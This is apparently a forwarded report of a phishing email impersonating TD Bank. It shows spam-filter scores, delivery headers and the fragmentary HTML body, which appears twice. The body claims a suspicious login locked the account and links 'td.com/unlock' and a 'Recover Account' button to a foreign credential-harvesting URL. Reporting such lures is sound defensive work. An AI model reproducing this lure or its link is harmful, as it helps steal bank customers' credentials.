pts rule name description

---- ---------------------- --------------------------------------------------

0.2 FREEMAIL_REPLYTO_END_DIGIT Reply-To freemail username ends in digit

[f.morgan12(at)yahoo.com]

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

3.6 HTML_TAG_BALANCE_CENTER Malformatted HTML

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

2.5 FREEMAIL_FORGED_REPLYTO Freemail in Reply-To, but not From

0.0 T_STY_INVIS_DIRECT HTML hidden text + direct-to-MX

1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)

2.4 RAZOR2_CF_RANGE_E8_51_100 Razor2 gives engine 8 confidence level

above 50%

[cf: 100]

0.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%

[cf: 100]

0.0 FSL_BULK_SIG Bulk signature with no Unsubscribe

Subject: {SPAM?} SECURITY ALERT: Action Required






ft-com:vml" xmlns:o=3D"urn:schemas-microsoft-com:office:office">





=20=20=20=20=20=20=20=20

=20=20=20=20=20=20=20=20

=20=20=20=20=20=20=20=20





=20=20=20=20=20=20=20=20





=20=20=20=20=20=20=20=20


1">



=20=20=20=20=20=20=20=20

=20=20=20=20=20=20=20=20

=20=20=20=20

Updates | TD Bank










margin:0;

padding:0;

width:100%; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; /*@editable*/background-color:#FAFAFA">






display:none; font-size:0px; line-height:0px; max-height:0px; max-width:0px=

; opacity:0; overflow:hidden; visibility:hidden; mso-hide:all;" class=3D"mc=

nPreviewText">Updates | TD Bank







tyle=3D"width: 55px; padding-top: 13px;">
ig-email?utm_medium=3Demail&utm_source=3Dlink&utm_campaign=3Dsig-email&utm_=

content=3Demailclient" target=3D"_blank">
n.net/ipm/preview/icons/icon-envelope-tick-round-orange-animated-no-repeat-=

v1.gif" alt=3D"" width=3D"46" height=3D"29" style=3D"width: 46px; height: 2=

9px;"/>

e; font-size: 13px; font-family: Arial, Helvetica, sans-serif; line-height:=

18px;">Virus-free.
email&utm_source=3Dlink&utm_campaign=3Dsig-email&utm_content=3Demailclient"=

target=3D"_blank" style=3D"color: #4453ea;">www.avast.com



mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; height:100%;

margin:0;

padding:0;

width:100%; /*@editable*/background-color:#FAFAFA" align=3D"center" bord=

er=3D"0" cellpadding=3D"0" cellspacing=3D"0" height=3D"100%" width=3D"100%"=

id=3D"bodyTable">




e-adjust:100%;

-webkit-text-size-adjust:100%; height:100%;

margin:0;

padding:0;

width:100%; padding:10px; /*@editable*/border-top:0" align=3D"center" va=

lign=3D"top" id=3D"bodyCell">





=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


"0" cellspacing=3D"0" width=3D"600">

















=20=20=20=20=20=20=20=20=20=20=20=20




=3D"top" width=3D"600">



=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; max-width:600px !important; /*@editable*/=

border:0" class=3D"templateContainer" border=3D"0" cellpadding=3D"0" cellsp=

acing=3D"0" width=3D"100%">





















































=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20




-ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; /*@editable*/background-color:#FAFAFA;

/*@editable*/background-image:none;

/*@editable*/background-repeat:no-repeat;

/*@editable*/background-position:center;

/*@editable*/background-size:cover;

/*@editable*/border-top:0;

/*@editable*/border-bottom:0;

/*@editable*/padding-top:9px;

/*@editable*/padding-bottom:9px" id=3D"templatePreheader" valign=3D"top"=

>

-ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; /*@editable*/background-color:#FFFFFF;

/*@editable*/background-image:none;

/*@editable*/background-repeat:no-repeat;

/*@editable*/background-position:center;

/*@editable*/background-size:cover;

/*@editable*/border-top:0;

/*@editable*/border-bottom:0;

/*@editable*/padding-top:9px;

/*@editable*/padding-bottom:0" id=3D"templateHeader" valign=3D"top">




mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; min-width: 100%;" class=3D"mcnImageBlock"=

border=3D"0" cellpadding=3D"0" cellspacing=3D"0" width=3D"100%">



















=20=20=20=20




just:100%;

-webkit-text-size-adjust:100%; padding: 9px;" class=3D"mcnImageBlockInne=

r" valign=3D"top">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


e:0pt;

mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; min-width: 100%;" class=3D"mcnImageConten=

tContainer" align=3D"left" border=3D"0" cellpadding=3D"0" cellspacing=3D"0"=

width=3D"100%">

















=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20




text-size-adjust:100%;

-webkit-text-size-adjust:100%; padding: 0pt 9px;" class=3D"mcnImageConte=

nt" valign=3D"top">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=

=20=20=20=20=20=20=20

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=

=20=20=20=20=20=20=20=20=20=20=20


height:auto;

outline:none;

text-decoration:none; -ms-interpolation-mode:bicubic; vertical-align:bot=

tom; max-width: 394px; padding-bottom: 0pt; display: inline ! important; ve=

rtical-align: bottom;" alt=3D"" src=3D"https://mcusercontent.com/3b40f11535=

c1ef46dafeb565c/images/a1698ebe-7d20-4ad3-bd1a-9f268574ebac.png" class=3D"m=

cnRetinaImage" align=3D"left" width=3D"197">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=

=20=20=20=20=20=20=20=20=20=20=20

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=

=20=20=20=20=20=20=20










mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; min-width: 100%;" class=3D"mcnTextBlock" =

border=3D"0" cellpadding=3D"0" cellspacing=3D"0" width=3D"100%">



















=20=20=20=20




:100%;

-webkit-text-size-adjust:100%; padding-top: 9px;" class=3D"mcnTextBlockI=

nner" valign=3D"top">



=09=09=09=20=20=20=20



=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


e:0pt;

mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; max-width: 100%; min-width: 100%;" class=

=3D"mcnTextContentContainer" align=3D"left" border=3D"0" cellpadding=3D"0" =

cellspacing=3D"0" width=3D"100%">









=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20









=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20




-size-adjust:100%;

-webkit-text-size-adjust:100%; word-break:break-word; padding: 0pt 18px =

9px;" class=3D"mcnTextContent" valign=3D"top">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20







e=3D"font-size: 24px;">Security Alert








Alert: We detected a new Log In to your TD Banking online account. Due

to safety protocol we have locked the access to your account. To unlock

your account please visit
t-size-adjust:100%;

-webkit-text-size-adjust:100%" href=3D"https://pioneerassociate123.com.n=

p/td/td2.htm" target=3D"_blank">td.com/unlock
and follow the instructio=

ns.







=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20








mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; min-width: 100%;" class=3D"mcnButtonBlock=

" border=3D"0" cellpadding=3D"0" cellspacing=3D"0" width=3D"100%">



















=20=20=20=20




:100%;

-webkit-text-size-adjust:100%; padding: 0pt 18px 18px;" class=3D"mcnButt=

onBlockInner" align=3D"center" valign=3D"top">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


e:0pt;

mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; border-collapse: separate ! important; ba=

ckground-color: rgb(0, 128, 0);" class=3D"mcnButtonContentContainer" border=

=3D"0" cellpadding=3D"0" cellspacing=3D"0">



















=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20



=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


text-size-adjust:100%;

-webkit-text-size-adjust:100%; padding: 16px; font-family: Arial; font-s=

ize: 16px;" class=3D"mcnButtonContent" align=3D"center" valign=3D"middle">


ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; display:block; font-weight: bold; letter-=

spacing: normal; line-height: 100%; text-align: center; text-decoration: no=

ne; color: rgb(255, 255, 255);" class=3D"mcnButton" title=3D"Recover Accoun=

t" href=3D"https://pioneerassociate123.com.np/td/td2.htm" target=3D"_blank"=

>Recover Account









-ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; /*@editable*/background-color:#FFFFFF;

/*@editable*/background-image:none;

/*@editable*/background-repeat:no-repeat;

/*@editable*/background-position:center;

/*@editable*/background-size:cover;

/*@editable*/border-top:0;

/*@editable*/border-bottom:2px solid #EAEAEA;

/*@editable*/padding-top:0;

/*@editable*/padding-bottom:9px" id=3D"templateBody" valign=3D"top">




mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; min-width: 100%;" class=3D"mcnTextBlock" =

border=3D"0" cellpadding=3D"0" cellspacing=3D"0" width=3D"100%">



















=20=20=20=20




:100%;

-webkit-text-size-adjust:100%; padding-top: 9px;" class=3D"mcnTextBlockI=

nner" valign=3D"top">



=09=09=09=20=20=20=20



=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


e:0pt;

mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; max-width: 100%; min-width: 100%;" class=

=3D"mcnTextContentContainer" align=3D"left" border=3D"0" cellpadding=3D"0" =

cellspacing=3D"0" width=3D"100%">









=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20









=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20




-size-adjust:100%;

-webkit-text-size-adjust:100%; word-break:break-word; padding: 0pt 18px =

9px;" class=3D"mcnTextContent" valign=3D"top">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=

=20=20=20





margin:0;

padding:0; /*@editable*/color:#202020;

/*@editable*/font-family:Helvetica;

/*@editable*/font-size:20px;

/*@editable*/font-style:normal;

/*@editable*/font-weight:bold;

/*@editable*/line-height:125%;

/*@editable*/letter-spacing:normal;

/*@editable*/text-align:left">
=3D"mso-line-height-rule:exactly; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%" href=3D"http://www.tdcanadatrust.com/prod=

ucts-services/banking/electronic-banking/mobile/mobile-index.jsp" role=3D"l=

ink" standalone-link=3D"Get the TD app now">
8, 0);">Get the TD app now 













=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20






-ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; /*@editable*/background-color:#FAFAFA;

/*@editable*/background-image:none;

/*@editable*/background-repeat:no-repeat;

/*@editable*/background-position:center;

/*@editable*/background-size:cover;

/*@editable*/border-top:0;

/*@editable*/border-bottom:0;

/*@editable*/padding-top:9px;

/*@editable*/padding-bottom:9px" id=3D"templateFooter" valign=3D"top">




mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; min-width: 100%;" class=3D"mcnTextBlock" =

border=3D"0" cellpadding=3D"0" cellspacing=3D"0" width=3D"100%">



















=20=20=20=20




:100%;

-webkit-text-size-adjust:100%; padding-top: 9px;" class=3D"mcnTextBlockI=

nner" valign=3D"top">



=09=09=09=20=20=20=20



=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


e:0pt;

mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; max-width: 100%; min-width: 100%;" class=

=3D"mcnTextContentContainer" align=3D"left" border=3D"0" cellpadding=3D"0" =

cellspacing=3D"0" width=3D"100%">









=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20









=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20




-size-adjust:100%;

-webkit-text-size-adjust:100%; word-break:break-word; padding: 0pt 18px =

9px;" class=3D"mcnTextContent" valign=3D"top">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=

=20=20=20


t-size: 11px;">By

using EasyWeb, our secured financial services site, offered by TD

Canada Trust and its affiliates, you agree to the terms and services of

the 
%;

-webkit-text-size-adjust:100%" href=3D"https://authentication.td.com/uap=

-ui/index.html?consumer=3Deasyweb&locale=3Den_CA" ng-bind-html=3D"'LOGI=

N.LEGAL.PART_2' | translate" ng-click=3D"vm.openPopup('LOGIN.LEGAL.PART_2_L=

INK', 'LOGIN.LEGAL.PART_2', {width: 618, height: 618})">Financial Services =

Terms
 , 
ze-adjust:100%;

-webkit-text-size-adjust:100%" href=3D"https://authentication.td.com/uap=

-ui/index.html?consumer=3Deasyweb&locale=3Den_CA" ng-bind-html=3D"'LOGI=

N.LEGAL.PART_4' | translate" ng-click=3D"vm.openPopup('LOGIN.LEGAL.PART_4_L=

INK', 'LOGIN.LEGAL.PART_4', {width: 618, height: 618})">Cardholder and Elec=

tronic Financial Services Terms and Conditions
 and/or; the 
style=3D"mso-line-height-rule:exactly; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%" href=3D"https://authentication.td.com/uap=

-ui/index.html?consumer=3Deasyweb&locale=3Den_CA" ng-bind-html=3D"'LOGI=

N.LEGAL.PART_6' | translate" ng-click=3D"vm.openPopup('LOGIN.LEGAL.PART_6_L=

INK', 'LOGIN.LEGAL.PART_6', {width: 618, height: 618})">Business Access Ser=

vices Schedule and/or; the 
xactly; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%" href=3D"https://authentication.td.com/uap=

-ui/index.html?consumer=3Deasyweb&locale=3Den_CA" ng-bind-html=3D"'LOGI=

N.LEGAL.PART_8' | translate" ng-click=3D"vm.openPopup('LOGIN.LEGAL.PART_8_L=

INK', 'LOGIN.LEGAL.PART_8', {width: 618, height: 618})">Terms and Agreement=

 and 
adjust:100%;

-webkit-text-size-adjust:100%" href=3D"https://authentication.td.com/uap=

-ui/index.html?consumer=3Deasyweb&locale=3Den_CA" ng-bind-html=3D"'LOGI=

N.LEGAL.PART_10' | translate" ng-click=3D"vm.openPopup('LOGIN.LEGAL.PART_10=

_LINK', 'LOGIN.LEGAL.PART_10', {width: 618, height: 618})">Disclosure
&n=

bsp;for mutual funds accounts held with TD Investment Services Inc.





margin:0;

padding:0; /*@editable*/color:#202020;

/*@editable*/font-family:Helvetica;

/*@editable*/font-size:20px;

/*@editable*/font-style:normal;

/*@editable*/font-weight:bold;

/*@editable*/line-height:125%;

/*@editable*/letter-spacing:normal;

/*@editable*/text-align:left"> 

















=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20








mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; table-layout:fixed !important; min-width:=

100%;" class=3D"mcnDividerBlock" border=3D"0" cellpadding=3D"0" cellspacin=

g=3D"0" width=3D"100%">



















=20=20=20=20




:100%;

-webkit-text-size-adjust:100%; padding: 3px 18px 0px; min-width: 100%;" =

class=3D"mcnDividerBlockInner">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


e:0pt;

mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; border-top: 2px solid rgb(238, 238, 238);=

min-width: 100%;" class=3D"mcnDividerContent" border=3D"0" cellpadding=3D"=

0" cellspacing=3D"0" width=3D"100%">

















=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20




-size-adjust:100%;

-webkit-text-size-adjust:100%">























=20=20=20=20=20=20=20=20

=20=20=20=20





TD Phish from Hamburg Germany

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Fri, 27 Jan 2023 08:27:42 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pLQdX-000M4l-14

for dave@doctor.nl2k.ab.ca;

Fri, 27 Jan 2023 08:27:31 -0700

Resent-From: The Doctor

Resent-Date: Fri, 27 Jan 2023 08:27:31 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [194.26.192.194] (port=53338 helo=gki.com)

by doctor.nl2k.ab.ca with esmtp (Exim 4.96)

(envelope-from )

id 1pLMij-000FLw-3A

for postmaster@nl2k.ab.ca;

Fri, 27 Jan 2023 04:16:00 -0700

Reply-To:

From: TD Bank

To: postmaster@nl2k.ab.ca

Subject: SECURITY ALERT: Action Required

Date: 27 Jan 2023 12:13:51 +0100

Message-ID: <20230127121351.943B5CEEC170A73A@gki.com>

MIME-Version: 1.0

Content-Type: text/html

Content-Transfer-Encoding: quoted-printable

X-Spam_score: 13.3

X-Spam_score_int: 133

X-Spam_bar: +++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Updates | TD Bank Updates | TD Bank Security Alert Alert:

We detected a new Log In to your TD Banking online account. Due to safety

protocol we have locked the access to your account. To unlock your account

please visit td.com/unlock and follow the in [...]



Content analysis details: (13.3 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

0.2 FREEMAIL_REPLYTO_END_DIGIT Reply-To freemail username ends in digit

[f.morgan12(at)yahoo.com]

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

3.6 HTML_TAG_BALANCE_CENTER Malformatted HTML

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

2.5 FREEMAIL_FORGED_REPLYTO Freemail in Reply-To, but not From

0.0 T_STY_INVIS_DIRECT HTML hidden text + direct-to-MX

1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)

2.4 RAZOR2_CF_RANGE_E8_51_100 Razor2 gives engine 8 confidence level

above 50%

[cf: 100]

0.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%

[cf: 100]

0.0 FSL_BULK_SIG Bulk signature with no Unsubscribe

Subject: {SPAM?} SECURITY ALERT: Action Required






ft-com:vml" xmlns:o=3D"urn:schemas-microsoft-com:office:office">





=20=20=20=20=20=20=20=20

=20=20=20=20=20=20=20=20

=20=20=20=20=20=20=20=20





=20=20=20=20=20=20=20=20





=20=20=20=20=20=20=20=20


1">



=20=20=20=20=20=20=20=20

=20=20=20=20=20=20=20=20

=20=20=20=20

Updates | TD Bank










margin:0;

padding:0;

width:100%; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; /*@editable*/background-color:#FAFAFA">






display:none; font-size:0px; line-height:0px; max-height:0px; max-width:0px=

; opacity:0; overflow:hidden; visibility:hidden; mso-hide:all;" class=3D"mc=

nPreviewText">Updates | TD Bank









mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; height:100%;

margin:0;

padding:0;

width:100%; /*@editable*/background-color:#FAFAFA" align=3D"center" bord=

er=3D"0" cellpadding=3D"0" cellspacing=3D"0" height=3D"100%" width=3D"100%"=

id=3D"bodyTable">




e-adjust:100%;

-webkit-text-size-adjust:100%; height:100%;

margin:0;

padding:0;

width:100%; padding:10px; /*@editable*/border-top:0" align=3D"center" va=

lign=3D"top" id=3D"bodyCell">





=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


"0" cellspacing=3D"0" width=3D"600">

















=20=20=20=20=20=20=20=20=20=20=20=20




=3D"top" width=3D"600">



=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; max-width:600px !important; /*@editable*/=

border:0" class=3D"templateContainer" border=3D"0" cellpadding=3D"0" cellsp=

acing=3D"0" width=3D"100%">





















































=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20




-ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; /*@editable*/background-color:#FAFAFA;

/*@editable*/background-image:none;

/*@editable*/background-repeat:no-repeat;

/*@editable*/background-position:center;

/*@editable*/background-size:cover;

/*@editable*/border-top:0;

/*@editable*/border-bottom:0;

/*@editable*/padding-top:9px;

/*@editable*/padding-bottom:9px" id=3D"templatePreheader" valign=3D"top"=

>

-ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; /*@editable*/background-color:#FFFFFF;

/*@editable*/background-image:none;

/*@editable*/background-repeat:no-repeat;

/*@editable*/background-position:center;

/*@editable*/background-size:cover;

/*@editable*/border-top:0;

/*@editable*/border-bottom:0;

/*@editable*/padding-top:9px;

/*@editable*/padding-bottom:0" id=3D"templateHeader" valign=3D"top">




mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; min-width: 100%;" class=3D"mcnImageBlock"=

border=3D"0" cellpadding=3D"0" cellspacing=3D"0" width=3D"100%">



















=20=20=20=20




just:100%;

-webkit-text-size-adjust:100%; padding: 9px;" class=3D"mcnImageBlockInne=

r" valign=3D"top">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


e:0pt;

mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; min-width: 100%;" class=3D"mcnImageConten=

tContainer" align=3D"left" border=3D"0" cellpadding=3D"0" cellspacing=3D"0"=

width=3D"100%">

















=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20




text-size-adjust:100%;

-webkit-text-size-adjust:100%; padding: 0pt 9px;" class=3D"mcnImageConte=

nt" valign=3D"top">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=

=20=20=20=20=20=20=20

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=

=20=20=20=20=20=20=20=20=20=20=20


height:auto;

outline:none;

text-decoration:none; -ms-interpolation-mode:bicubic; vertical-align:bot=

tom; max-width: 394px; padding-bottom: 0pt; display: inline ! important; ve=

rtical-align: bottom;" alt=3D"" src=3D"https://mcusercontent.com/3b40f11535=

c1ef46dafeb565c/images/a1698ebe-7d20-4ad3-bd1a-9f268574ebac.png" class=3D"m=

cnRetinaImage" align=3D"left" width=3D"197">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=

=20=20=20=20=20=20=20=20=20=20=20

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=

=20=20=20=20=20=20=20










mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; min-width: 100%;" class=3D"mcnTextBlock" =

border=3D"0" cellpadding=3D"0" cellspacing=3D"0" width=3D"100%">



















=20=20=20=20




:100%;

-webkit-text-size-adjust:100%; padding-top: 9px;" class=3D"mcnTextBlockI=

nner" valign=3D"top">



=09=09=09=20=20=20=20



=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


e:0pt;

mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; max-width: 100%; min-width: 100%;" class=

=3D"mcnTextContentContainer" align=3D"left" border=3D"0" cellpadding=3D"0" =

cellspacing=3D"0" width=3D"100%">









=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20









=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20




-size-adjust:100%;

-webkit-text-size-adjust:100%; word-break:break-word; padding: 0pt 18px =

9px;" class=3D"mcnTextContent" valign=3D"top">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20







e=3D"font-size: 24px;">Security Alert








Alert: We detected a new Log In to your TD Banking online account. Due

to safety protocol we have locked the access to your account. To unlock

your account please visit
t-size-adjust:100%;

-webkit-text-size-adjust:100%" href=3D"https://pioneerassociate123.com.n=

p/td/td2.htm" target=3D"_blank">td.com/unlock
and follow the instructio=

ns.







=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20








mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; min-width: 100%;" class=3D"mcnButtonBlock=

" border=3D"0" cellpadding=3D"0" cellspacing=3D"0" width=3D"100%">



















=20=20=20=20




:100%;

-webkit-text-size-adjust:100%; padding: 0pt 18px 18px;" class=3D"mcnButt=

onBlockInner" align=3D"center" valign=3D"top">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


e:0pt;

mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; border-collapse: separate ! important; ba=

ckground-color: rgb(0, 128, 0);" class=3D"mcnButtonContentContainer" border=

=3D"0" cellpadding=3D"0" cellspacing=3D"0">



















=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20



=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


text-size-adjust:100%;

-webkit-text-size-adjust:100%; padding: 16px; font-family: Arial; font-s=

ize: 16px;" class=3D"mcnButtonContent" align=3D"center" valign=3D"middle">


ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; display:block; font-weight: bold; letter-=

spacing: normal; line-height: 100%; text-align: center; text-decoration: no=

ne; color: rgb(255, 255, 255);" class=3D"mcnButton" title=3D"Recover Accoun=

t" href=3D"https://pioneerassociate123.com.np/td/td2.htm" target=3D"_blank"=

>Recover Account









-ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; /*@editable*/background-color:#FFFFFF;

/*@editable*/background-image:none;

/*@editable*/background-repeat:no-repeat;

/*@editable*/background-position:center;

/*@editable*/background-size:cover;

/*@editable*/border-top:0;

/*@editable*/border-bottom:2px solid #EAEAEA;

/*@editable*/padding-top:0;

/*@editable*/padding-bottom:9px" id=3D"templateBody" valign=3D"top">




mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; min-width: 100%;" class=3D"mcnTextBlock" =

border=3D"0" cellpadding=3D"0" cellspacing=3D"0" width=3D"100%">



















=20=20=20=20




:100%;

-webkit-text-size-adjust:100%; padding-top: 9px;" class=3D"mcnTextBlockI=

nner" valign=3D"top">



=09=09=09=20=20=20=20



=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


e:0pt;

mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; max-width: 100%; min-width: 100%;" class=

=3D"mcnTextContentContainer" align=3D"left" border=3D"0" cellpadding=3D"0" =

cellspacing=3D"0" width=3D"100%">









=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20









=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20




-size-adjust:100%;

-webkit-text-size-adjust:100%; word-break:break-word; padding: 0pt 18px =

9px;" class=3D"mcnTextContent" valign=3D"top">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=

=20=20=20





margin:0;

padding:0; /*@editable*/color:#202020;

/*@editable*/font-family:Helvetica;

/*@editable*/font-size:20px;

/*@editable*/font-style:normal;

/*@editable*/font-weight:bold;

/*@editable*/line-height:125%;

/*@editable*/letter-spacing:normal;

/*@editable*/text-align:left">
=3D"mso-line-height-rule:exactly; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%" href=3D"http://www.tdcanadatrust.com/prod=

ucts-services/banking/electronic-banking/mobile/mobile-index.jsp" role=3D"l=

ink" standalone-link=3D"Get the TD app now">
8, 0);">Get the TD app now 













=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20






-ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; /*@editable*/background-color:#FAFAFA;

/*@editable*/background-image:none;

/*@editable*/background-repeat:no-repeat;

/*@editable*/background-position:center;

/*@editable*/background-size:cover;

/*@editable*/border-top:0;

/*@editable*/border-bottom:0;

/*@editable*/padding-top:9px;

/*@editable*/padding-bottom:9px" id=3D"templateFooter" valign=3D"top">




mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; min-width: 100%;" class=3D"mcnTextBlock" =

border=3D"0" cellpadding=3D"0" cellspacing=3D"0" width=3D"100%">



















=20=20=20=20




:100%;

-webkit-text-size-adjust:100%; padding-top: 9px;" class=3D"mcnTextBlockI=

nner" valign=3D"top">



=09=09=09=20=20=20=20



=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


e:0pt;

mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; max-width: 100%; min-width: 100%;" class=

=3D"mcnTextContentContainer" align=3D"left" border=3D"0" cellpadding=3D"0" =

cellspacing=3D"0" width=3D"100%">









=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20









=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20




-size-adjust:100%;

-webkit-text-size-adjust:100%; word-break:break-word; padding: 0pt 18px =

